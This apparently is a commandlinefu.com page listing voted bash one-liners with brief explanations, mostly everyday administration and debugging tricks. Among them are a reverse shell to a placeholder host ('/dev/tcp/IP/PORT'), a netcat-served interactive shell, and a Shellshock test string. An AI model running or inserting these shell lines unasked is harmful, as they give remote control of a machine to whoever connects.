Commands using bash (69)
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27bash -x ./post_to_commandlinefu.sh
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* in bash-shell You can capture the current commandline to a text-editor: * simply press: CTRL+x+e * Your current commandline will pe put into Your default text-editor (export EDITOR=vim)
20bash-hotkey: <CTRL+x+e> -
In the sample output, I pressed ctrl+r and typed the letters las. I can't imagine how much typing this has saved me. Show Sample Output
15^r in bash begins a reverse-search-history with command completion -
Check all bash scripts in current dir for syntax errors WITHOUT running them. Show Sample Output
8find . -name '*.sh' -exec bash -n {} \; -
Recursively rename .JPG to .jpg using standard find and mv. It's generally better to use a standard tool if doing so is not much more difficult.
7find /path/to/images -name '*.JPG' -exec bash -c 'mv "$1" "${1/%.JPG/.jpg}"' -- {} \; -
This command will set bash as the default shell for all users in a FreeBSD system.
6cd /usr/home && for i in *;do chsh -s bash $i;done -
Calculates the size on disk for each package installed on the filesystem (or removed but not purged). This is missing the
| sort -rnwhich would put the biggest packges on top. That was purposely left out as the command is slightly on the slow side Also you may need to run this as root as some files can only be checked by du if you can read them ;) Show Sample Output5dpkg --get-selections | cut -f1 | while read pkg; do dpkg -L $pkg | xargs -I'{}' bash -c 'if [ ! -d "{}" ]; then echo "{}"; fi' | tr '\n' '\000' | du -c --files0-from - | tail -1 | sed "s/total/$pkg/"; done -
This makes your commandlinefu.com's favorites appear as most recent commands in your history.
5(cat ~/.bash_history;U='curl -s www.commandlinefu.com';$U/users/signin -c/tmp/.c -d'username=<USER>&password=<PASS>&submit=1'|$U/commands/favourites/json -b/tmp/.c|grep -Po 'nd":.*?[^\\]",'|sed -re 's/.*":"(.*)",/\1/g')>~/.h;HISTFILE=~/.h bash --login -
4bash -x script.sh 2> log
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Simple command to convert a large number of images into jpeg-format. Will delete originals after conversion.
4find . -name '*'.tiff -exec bash -c "mogrify -format jpg -quality 85 -resize 75% {} && rm {}" \; -
Sends both stdout and stderr to the pipe which captures the data in the file 'out.test' and sends to stdout of tee (likely /dev/tty unless redirected). Works on Bourne, Korn and Bash shells.
4bash -x test.sh 2>&1 | tee out.test -
Doesn't work so well if you connect from windows. Linux only sends LF where windows wants CRLF. The alternative command works better with windows, however it uses script and a named pipe.
4bash -i 2>&1 | tee /dev/stderr | nc -l 5000 -
If script.sh contains only these two lines: $ uname -a $ whoami Show Sample Output
4bash -x script.sh -
sleep 1h ; sudo commandorsudo sleep 1h ; sudo commandwon't work, because by the time the delay is up, sudo will want your password again.4sudo bash -c "sleep 1h ; command" -
Convert some SVG files into PNG using ImageMagick's convert command. Run the conversions in parallel to save time. This is safer than robinro's forkbomb approach :-) xargs runs four processes at a time -P4
4find . -name \*.svg -print0 | xargs -0 -n1 -P4 -I{} bash -c 'X={}; convert "$X" "${X%.svg}.png"' -
Display commands and their arguments as they are executed. Useful for debugging shell scripts. Show Sample Output
3bash -x SCRIPT -
I'll let Slayer handle that. Raining Blood for your pleasure.
3sudo bash -c 'echo "GRUB_INIT_TUNE=\"480 165 2 165 2 165 3 554 1 587 1 554 2 370 1 554 1 523 2 349 1 523 1 494 3 165 2 165 2 165 2\"" >> /etc/default/grub && update-grub' -
3find . -iname *.java -type f -exec bash -c "iconv -f WINDOWS-1252 -t UTF-8 {} > {}.tmp " \; -exec mv {}.tmp {} \;
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If this command prints 'x' then your shell is vulnerable. Null output confirms that you are protected. Further reading: http://allanmcrae.com/2014/09/shellshock-and-arch-linux/ Show Sample Output
3x="() { :; }; echo x" bash -c : -
alternatively, run the spinner for 5 seconds: timeout 5 bash -c 'spinner=( Ooooo oOooo ooOoo oooOo ooooO oooOo ooOoo oOooo); while true; do for i in ${spinner[@]}; do for j in seq 0 ${#i}; do echo -en "\b\b"; done; echo -ne "${i}"; sleep 0.2; done; done' Show Sample Output
3while kill -0 0; do timeout 5 bash -c 'spinner=( Ooooo oOooo ooOoo oooOo ooooO oooOo ooOoo oOooo); while true; do for i in ${spinner[@]}; do for _ in seq 0 ${#i}; do echo -en "\b\b"; done; echo -ne "${i}"; sleep 0.2; done; done'; done -
3cat databases.txt | while read db; do docker exec $container_name bash -c "mysqldump -uroot -p\$MYSQL_ROOT_PASSWORD ${db}" | gzip -9 > $HOME/backups/${db}_`date +%Y%m%d_%H%M%S`.sql.gz; done
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2bash -i >& /dev/tcp/IP/PORT 0>&1
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2sudo bash -c "> /var/log/httpd/access_log"
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2bashrc-reload() { builtin exec bash ; }
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2find . -type f -regex '.*\.\(cpp\|h\)' -exec grep -Pl "[\x80-\xFF]" {} \; | xargs -I % bash -c 'echo "%"; grep --color='auto' -P -n "[\x80-\xFF]" "%"'
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